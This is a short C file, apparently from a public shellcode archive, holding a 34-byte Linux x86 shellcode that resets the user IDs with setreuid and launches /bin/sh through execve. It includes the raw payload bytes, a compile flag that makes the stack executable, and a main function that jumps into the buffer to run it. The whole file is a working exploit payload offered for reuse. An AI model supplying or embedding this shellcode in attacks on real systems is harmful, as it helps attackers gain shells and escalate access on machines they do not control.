#include <stdio.h>
#include <string.h>

/*
  by Magnefikko
  14.04.2010
  magnefikko@gmail.com
  promhyl.oz.pl
  Subgroup: #PRekambr
  Name: 34 bytes setreud(getuid(), getuid()) & execve("/bin/sh") shellcode
  Platform: Linux x86
  
  setreuid(getuid(), getuid());
  execve("/bin/sh");  

  gcc -Wl,-z,execstack filename.c

  shellcode:

\x6a\x18\x58\xcd\x80\x50\x50\x5b\x59\x6a\x46\x58\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80

*/


int main(){
  char shell[] =
"\x6a\x18\x58\xcd\x80\x50\x50\x5b\x59\x6a\x46\x58\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80";
  printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell)
= %d\n", strlen(shell));
  (*(void (*)()) shell)();
}